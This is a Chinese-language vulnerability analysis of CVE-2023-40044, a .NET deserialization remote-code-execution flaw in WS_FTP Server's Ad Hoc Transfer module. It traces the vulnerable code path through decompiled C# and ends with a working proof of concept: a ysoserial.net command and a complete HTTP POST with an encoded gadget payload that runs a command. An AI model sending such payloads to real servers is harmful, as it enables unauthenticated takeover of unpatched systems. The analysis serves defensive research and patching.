📖 漏洞簡介#
在 WS_FTP Server 8.7.4 和 8.8.2 之前的版本,未經身分驗證的攻擊者可以在 Ad Hoc Transfer 模組中利用 .NET 反序列化漏洞,在 WS_FTP Server 系統上進行遠端命令執行。值得注意的是,WS_FTP Server 的 Ad Hoc Transfer 模組是標準安裝的一部分,大部分的 WS_FTP Server 都會受影響。Progress Software 的建議是所有客戶都要升級到最新的軟體版本,或者刪除/停用 Ad Hoc Transfer 模組。
此漏洞是由 Assetnote 所發現,未經身分驗證的攻擊者很容易就能在目標系統上實現 RCE。
Rapid7 觀察到此漏洞在野外已經被利用了。而且,CISA 也根據主動利用的證據,將暴露情況加入到其已知被利用的漏洞目錄 (Known Exploited Vulnerabilities Catalog) 之中。
此漏洞的 CVE 編號已被指定為 CVE-2023-40044,其 CVSSv3 評分至少為 8.8,嚴重度高。
受影響的產品#
如果啟用了 Ad Hoc Transfer 模組,則以下軟體版本都會受到影響:
- 2022.0.1 (8.8.1)
- 2022.0 (8.8.0)
- 2020.0.0 (8.7.0)
- 2020.0.1 (8.7.1)
- 2020.0.2 (8.7.2)
- 2020.0.3 (8.7.3)
🕵️ 分析#
FormStream Class#
這個漏洞的根本原因是不安全的反序列化。存在漏洞的 DeserializeProcessor()
方法嘗試反序列化使用者可控,且沒有經過檢查或確認的資料。
internal IFileProcessor DeserializeProcessor(string input)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream serializationStream1 = new MemoryStream(Convert.FromBase64String(input));
SettingsStorageObject settingsStorageObject = (SettingsStorageObject) binaryFormatter.Deserialize((Stream) serializationStream1); // <-- 不安全的反序列化
嘗試往前追會發現 DeserializeProcessor()
方法被 CheckForActionFields()
方法所呼叫。而 CheckForActionFields()
方法會嘗試提取 multipart 欄位中 ::AHT_DEFAULT_UPLOAD_PARAMETER::
之後的字串,然後將該字串交給 DeserializeProcessor()
方法進行反序列化。
此外, ::AHT_UPLOAD_PARAMETER::
的存在似乎也會觸發相同的不安全反序列化過程。
private void CheckForActionFields()
{
byte[] array = this._currentField.ToArray();
string result1 = string.Empty;
int boundaryPos = this.IndexOf(array, this.BOUNDARY);
if (!this.TryParseActionField(this.ID_TAG, array, out result1, boundaryPos))
{
string result2 = string.Empty;
if (this.TryParseActionField(this.DEFAULT_PARAMS_TAG, array, out result2, boundaryPos)) // <-- ::AHT_DEFAULT_UPLOAD_PARAMETER::
{
this._defaultProcessor = UploadManager.Instance.DeserializeProcessor(result2.Substring(this.DEFAULT_PARAMS_TAG.Length)); // <-- 不安全的反序列化
this._processor = this._defaultProcessor;
this._currentField = new MemoryStream();
}
else if (this.TryParseActionField(this.PARAMS_TAG, array, out result2, boundaryPos)) // <-- ::AHT_UPLOAD_PARAMETER::
{
this._processor = UploadManager.Instance.DeserializeProcessor(result2.Substring(this.PARAMS_TAG.Length)); // <-- 不安全的反序列化
this._currentField = new MemoryStream();
}
要到達 CheckForActionFields()
方法,需要依序呼叫 ProcessField()
和 Write()
方法。
private FormStream.SectionResult ProcessField(byte[] bytes, int pos)
{
int nextOffset1 = -1;
if (pos < bytes.Length - 1)
{
nextOffset1 = this.IndexOf(bytes, this.BOUNDARY, pos + 1);
if (nextOffset1 != -1 && this._inFile)
nextOffset1 -= 2;
}
if (nextOffset1 >= 0)
{
this.WriteBytes(this._inFile, bytes, pos, nextOffset1 - pos);
if (!this._inFile)
this.CheckForActionFields(); // <-- 存在漏洞的方法
Write()
方法會遍歷 HTTP form-data,搜尋邊界字串並解析每個欄位的標頭。 要觸發 ProcessField()
方法,必須滿足以下條件:
this._inField
必須為true
- multipart 欄位的標頭不能包含
filename
以及Content-Disposition
this._inFile
必須是false
public override void Write(byte[] bytes, int offset, int count)
{
int num1 = 0;
byte[] numArray;
if (this._buffer != null)
{
numArray = new byte[this._buffer.Length + count];
Buffer.BlockCopy((Array) this._buffer, 0, (Array) numArray, 0, this._buffer.Length);
Buffer.BlockCopy((Array) bytes, offset, (Array) numArray, this._buffer.Length, count);
}
else
{
numArray = new byte[count];
Buffer.BlockCopy((Array) bytes, offset, (Array) numArray, 0, count);
}
this._position += (long) count;
int srcOffset;
int num2;
FormStream.SectionResult sectionResult;
do
{
if (this._headerNeeded)
{
srcOffset = num1;
num2 = this.IndexOf(numArray, this.BOUNDARY, num1);
if (num2 >= 0)
{
if (this.IndexOf(numArray, this.EOF, num2) != num2)
{
int num3 = this.IndexOf(numArray, this.EOH, num2);
if (num3 >= 0)
{
this._inField = true; // <-- _inField = true
this._headerNeeded = false;
Dictionary<string, string> header = this.ParseHeader(numArray, num2);
if (header != null)
{
if (header.ContainsKey("filename") && header.ContainsKey("Content-Disposition")) // <-- 必須是 false
{
string fileName = header["filename"].Trim('"').Trim();
if (!string.IsNullOrEmpty(fileName))
{
try
{
this._fileName = header["filename"].Trim('"');
this._inFile = true;
string contentType = !header.ContainsKey("Content-Type") ? "application/octet-stream" : header["Content-Type"];
this.fileProccessingEnded = false;
object identifier = this._processor.StartNewFile(fileName, contentType, header, this._previousFields);
this.OnFileStarted(fileName, identifier);
}
catch (Exception ex)
{
this._fileError = true;
this.OnError(ex);
}
}
}
else
{
this._inFile = false; // <-- _inFile = false
this._currentField = new MemoryStream();
this._currentFieldName = header["name"];
}
num1 = num3 + 4;
}
else
goto label_9;
}
else
goto label_17;
}
else
goto label_6;
}
else
goto label_18;
}
if (this._inField)
{
this._buffer = (byte[]) null;
sectionResult = this.ProcessField(numArray, num1); // <-- 存在漏洞的方法
UploadModule Class#
UploadModule
確定傳入的 HTTP 請求是否是 multipart 檔案上傳。如果是 multipart 檔案上傳,Context_AcquireRequestState()
方法將會建立一個FormStream
物件,該物件會呼叫 Write()
方法來處理此請求。
public class UploadModule : IHttpModule
{
private void Context_AcquireRequestState(object sender, EventArgs e)
{
// ...
string boundary = "--" + knownRequestHeader.Substring(knownRequestHeader.IndexOf("boundary=") + "boundary=".Length);
using (FormStream formStream = new FormStream(this.GetProcessor(), boundary, app.Request.ContentEncoding))
{
formStream.FileCompleted += new FileEventHandler(this.fs_FileCompleted);
formStream.FileCompletedError += new FileErrorEventHandler(this.fs_FileCompletedError);
formStream.FileStarted += new FileEventHandler(this.fs_FileStarted);
formStream.Error += new ErrorEventHandler(this.OnTransactionAborted);
this._context = app.Context;
long bytes = 0;
if (workerRequest.GetPreloadedEntityBodyLength() > 0)
{
byte[] preloadedEntityBody = workerRequest.GetPreloadedEntityBody();
formStream.Write(preloadedEntityBody, 0, preloadedEntityBody.Length); // <-- 存在漏洞的方法
在 WS_FTP Ad Hoc Transfer 應用程式的 web.config
中,MyFileUpload.UploadModule
模組會被載入到 IIS HTTP 模組中,並處理傳入的檔案上傳請求。因此,發送至 Ad Hoc Transfer 模組中以 /AHT/
為開頭的 URI 的 multipart HTTP 請求都可能觸發漏洞。
<httpModules>
<add name="extend_session_module" type="AHT.Main.ExtendUserSessionModule" />
<add name="upload_module" type="MyFileUpload.UploadModule, fileuploadlibrary, Version=4.0.0.0" />
</httpModules>
PoC#
利用 ysoserial.net 來產生 .NET 反序列化酬載:
.\ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "notepad.exe" -o base64
HTTP multipart POST 請求:
POST /AHT/AhtApiService.asmx/AuthUser HTTP/1.1
Host: victim.com
User-Agent: CVE-2023-40044
Accept: */*
Content-Length: 1303
Content-Type: multipart/form-data; boundary=boundary
--boundary
name: PoC
::AHT_DEFAULT_UPLOAD_PARAMETER::AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=
--boundary–